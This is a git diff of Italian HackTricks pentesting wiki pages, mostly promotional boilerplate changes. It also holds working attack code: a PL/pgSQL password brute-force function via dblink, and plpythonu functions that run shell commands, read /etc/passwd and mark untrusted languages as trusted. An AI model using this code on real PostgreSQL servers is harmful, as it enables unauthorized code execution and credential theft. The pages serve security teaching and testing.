* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -64,22 +64,17 @@ Poi salva il file e esci da tutte le directory e ricostruisci l'apk con il segue
Infine, devi solo **firmare la nuova applicazione**. [Leggi questa sezione della pagina Smali - Decompiling/\[Modifying\]/Compiling per imparare come firmarla](smali-changes.md#sing-the-new-apk).
{% hint style="success" %}
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
**Try Hard Security Group**
<summary>Supporta HackTricks</summary>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**Piani di Abbonamento**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merch ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
{% endhint %}

View file

@ -100,7 +100,7 @@ Da [https://academy.hackthebox.com/module/112/section/1073](https://academy.hack
| ------------------------------ | ----------------------------------------------------------------------------------------- |
| `auth_debug` | Abilita tutti i log di debug dell'autenticazione. |
| `auth_debug_passwords` | Questa impostazione regola la verbosità dei log, le password inviate e lo schema viene registrato. |
| `auth_verbose` | Registra i tentativi di autenticazione non riusciti e le loro motivazioni. |
| `auth_verbose` | Registra i tentativi di autenticazione non riusciti e i loro motivi. |
| `auth_verbose_passwords` | Le password utilizzate per l'autenticazione vengono registrate e possono anche essere troncate. |
| `auth_anonymous_username` | Questo specifica il nome utente da utilizzare quando si accede con il meccanismo ANONYMOUS SASL. |
@ -151,15 +151,17 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {IP}; set RPORT 110; run; exit'
```
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara a fare hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in una **azienda di cybersecurity**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? O vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**Piani di ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merch ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}

View file

@ -1,30 +1,36 @@
# Iniezione di Cypher (neo4j)
# Cypher Injection (neo4j)
{% hint style="success" %}
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}
Controlla i seguenti blog:
* [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
* [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
{% hint style="success" %}
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}

View file

@ -1,46 +1,49 @@
# PL/pgSQL Password Bruteforce
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Trova [ulteriori informazioni su questo attacco nel documento originale](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
**Trova [ulteriori informazioni su questi attacchi nel documento originale](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
PL/pgSQL è un **linguaggio di programmazione completo** che va oltre le capacità di SQL offrendo un **controllo procedurale avanzato**. Ciò include l'utilizzo di cicli e varie strutture di controllo. Le funzioni create nel linguaggio PL/pgSQL possono essere invocate da istruzioni SQL e trigger, ampliando la portata delle operazioni all'interno dell'ambiente del database.
PL/pgSQL è un **linguaggio di programmazione completo** che si estende oltre le capacità di SQL offrendo **controllo procedurale avanzato**. Questo include l'utilizzo di cicli e varie strutture di controllo. Le funzioni create nel linguaggio PL/pgSQL possono essere invocate da istruzioni SQL e trigger, ampliando l'ambito delle operazioni all'interno dell'ambiente del database.
È possibile sfruttare questo linguaggio per chiedere a PostgreSQL di forzare le credenziali degli utenti, ma esse devono esistere nel database. È possibile verificare la loro esistenza utilizzando:
Puoi abusare di questo linguaggio per chiedere a PostgreSQL di forzare le credenziali degli utenti, ma deve esistere nel database. Puoi verificarne l'esistenza utilizzando:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |
```
Di default, **la creazione di funzioni è un privilegio concesso a PUBLIC**, dove PUBLIC si riferisce a ogni utente del sistema di database. Per prevenire ciò, l'amministratore potrebbe aver revocato il privilegio di USAGE dal dominio PUBLIC:
Per impostazione predefinita, **creare funzioni è un privilegio concesso a PUBLIC**, dove PUBLIC si riferisce a ogni utente su quel sistema di database. Per prevenire ciò, l'amministratore avrebbe dovuto revocare il privilegio di USAGE dal dominio PUBLIC:
```sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
```
In tal caso, la nostra query precedente produrrebbe risultati diversi:
In tal caso, la nostra query precedente restituirebbe risultati diversi:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}
```
Nota che per far funzionare lo script seguente **è necessario che esista la funzione `dblink`**. Se non esiste, puoi provare a crearla con&#x20;
Nota che per il seguente script per funzionare **la funzione `dblink` deve esistere**. Se non esiste, puoi provare a crearla con
```sql
CREATE EXTENSION dblink;
```
## Brute Force della Password
## Password Brute Force
Ecco come è possibile eseguire un attacco di brute force su una password di 4 caratteri:
Ecco come puoi eseguire un attacco di brute force su una password di 4 caratteri:
```sql
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
@ -79,9 +82,9 @@ $$ LANGUAGE 'plpgsql';
//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
_Nota che anche il forzamento di 4 caratteri potrebbe richiedere diversi minuti._
_Nota che anche forzare 4 caratteri potrebbe richiedere diversi minuti._
Potresti anche **scaricare un wordlist** e provare solo quelle password (attacco a dizionario):
Puoi anche **scaricare una wordlist** e provare solo quelle password (attacco a dizionario):
```sql
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
@ -116,14 +119,17 @@ $$ LANGUAGE 'plpgsql'
-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
{% hint style="success" %}
Impara e pratica il hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in un'**azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# RCE with PostgreSQL Languages
# RCE con i linguaggi PostgreSQL
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}
## Linguaggi di PostgreSQL
## Linguaggi PostgreSQL
Il database PostgreSQL a cui hai accesso potrebbe avere diversi **linguaggi di scripting installati** che potresti sfruttare per **eseguire codice arbitrario**.
Puoi **farli funzionare**:
```sql
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
```
La maggior parte dei linguaggi di scripting che è possibile installare in PostgreSQL ha **2 varianti**: la **fidata** e la **non fidata**. La variante **non fidata** avrà un nome **terminante con "u"** e sarà la versione che ti permetterà di **eseguire codice** e utilizzare altre funzioni interessanti. Questi sono alcuni dei linguaggi che risulteranno interessanti se installati:
La maggior parte dei linguaggi di scripting che puoi installare in PostgreSQL ha **2 varianti**: la **fidata** e l'**non fidata**. L'**non fidata** avrà un nome **che termina con "u"** e sarà la versione che ti permetterà di **eseguire codice** e utilizzare altre funzioni interessanti. Questi sono linguaggi che, se installati, sono interessanti:
* **plpythonu**
* **plpython3u**
@ -34,8 +35,7 @@ La maggior parte dei linguaggi di scripting che è possibile installare in Postg
* ... (qualsiasi altro linguaggio di programmazione che utilizza una versione non sicura)
{% hint style="warning" %}
Se scopri che un linguaggio interessante è **installato** ma **non fidato** da PostgreSQL (**`lanpltrusted`** è **`false`**), puoi provare a **fidarti** di esso con la seguente riga, in modo che PostgreSQL non applichi restrizioni:
Se scopri che un linguaggio interessante è **installato** ma **non fidato** da PostgreSQL (**`lanpltrusted`** è **`false`**) puoi provare a **fidarlo** con la seguente riga in modo che non vengano applicate restrizioni da PostgreSQL:
```sql
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
@ -43,8 +43,8 @@ SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_languag
```
{% endhint %}
Se non vedi una lingua, puoi provare a caricarla con (**devi essere superadmin**):
{% hint style="danger" %}
Se non vedi un linguaggio, potresti provare a caricarlo con (**devi essere superadmin**):
```
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
@ -52,36 +52,14 @@ CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;
```
{% endhint %}
Nota che è possibile compilare le versioni sicure come "non sicure". Controlla [**questo**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) per esempio. Quindi vale sempre la pena provare se puoi eseguire codice anche se trovi installato solo quello **fidato**.
## plpythonu/plpython3u
{% tabs %}
{% tab title="RCE" %}
È possibile eseguire codice arbitrario utilizzando le estensioni plpythonu o plpython3u in PostgreSQL. Queste estensioni consentono di eseguire codice Python all'interno di una query SQL.
Per eseguire il codice Python, è necessario creare una funzione definita dall'utente che utilizzi l'estensione plpythonu o plpython3u. Ad esempio, possiamo creare una funzione chiamata `execute_command` che esegue un comando di sistema:
```sql
CREATE OR REPLACE FUNCTION execute_command(command text)
RETURNS text AS
$$
import subprocess
output = subprocess.check_output(command, shell=True)
return output.decode()
$$
LANGUAGE plpythonu;
```
Una volta creata la funzione, è possibile chiamarla all'interno di una query SQL utilizzando la sintassi `SELECT execute_command('comando')`. Ad esempio, per eseguire il comando `ls -la`, possiamo utilizzare la seguente query:
```sql
SELECT execute_command('ls -la');
```
In questo modo, il risultato del comando `ls -la` verrà restituito come output della query.
È importante notare che l'esecuzione di codice arbitrario all'interno di una query SQL può essere pericolosa e può portare a vulnerabilità di sicurezza. Pertanto, è consigliabile utilizzare questa tecnica solo in ambienti controllati e con le dovute precauzioni.
{% endtab %}
{% endtabs %}
```sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
@ -94,7 +72,9 @@ LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
```
{% endtab %}
{% tab title="Ottieni utente OS" %}
```sql
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
@ -106,7 +86,9 @@ LANGUAGE 'plpythonu';
SELECT get_user(""); #Get user, para is useless
```
{% endtab %}
{% tab title="Elenco dir" %}
```sql
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
@ -120,7 +102,9 @@ LANGUAGE 'plpythonu';
SELECT lsdir("/"); #List dir
```
{% endtab %}
{% tab title="Trova la cartella W" %}
```sql
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
@ -147,7 +131,9 @@ LANGUAGE 'plpythonu';
SELECT findw("/"); #Find Writable folders from a folder (recursively)
```
{% endtab %}
{% tab title="Trova File" %}
```sql
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
@ -180,7 +166,9 @@ LANGUAGE 'plpythonu';
SELECT find_file("psql"); #Find a file
```
{% endtab %}
{% tab title="Trova eseguibili" %}
```sql
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
@ -212,7 +200,9 @@ LANGUAGE 'plpythonu';
SELECT findx("/"); #Find an executables in folder (recursively)
```
{% endtab %}
{% tab title="Trova exec tramite subs" %}
```sql
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
@ -245,7 +235,9 @@ LANGUAGE 'plpythonu';
SELECT find_exe("psql"); #Find executable by susbstring
```
{% endtab %}
{% tab title="Leggi" %}
```sql
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
@ -259,7 +251,9 @@ LANGUAGE 'plpythonu';
select read('/etc/passwd'); #Read a file in b64
```
{% endtab %}
{% tab title="Ottieni permessi" %}
```sql
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
@ -273,7 +267,9 @@ LANGUAGE 'plpythonu';
select get_perms("/etc/passwd"); # Get perms of file
```
{% endtab %}
{% tab title="Richiesta" %}
```sql
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
@ -297,6 +293,8 @@ LANGUAGE 'plpythonu';
SELECT req3('https://google.com'); #Request using python3
```
{% endtab %}
{% endtabs %}
## pgSQL
@ -314,14 +312,17 @@ Controlla la seguente pagina:
[rce-with-postgresql-extensions.md](rce-with-postgresql-extensions.md)
{% endcontent-ref %}
{% hint style="success" %}
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# Cookie Bomb + Onerror XS Leak
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
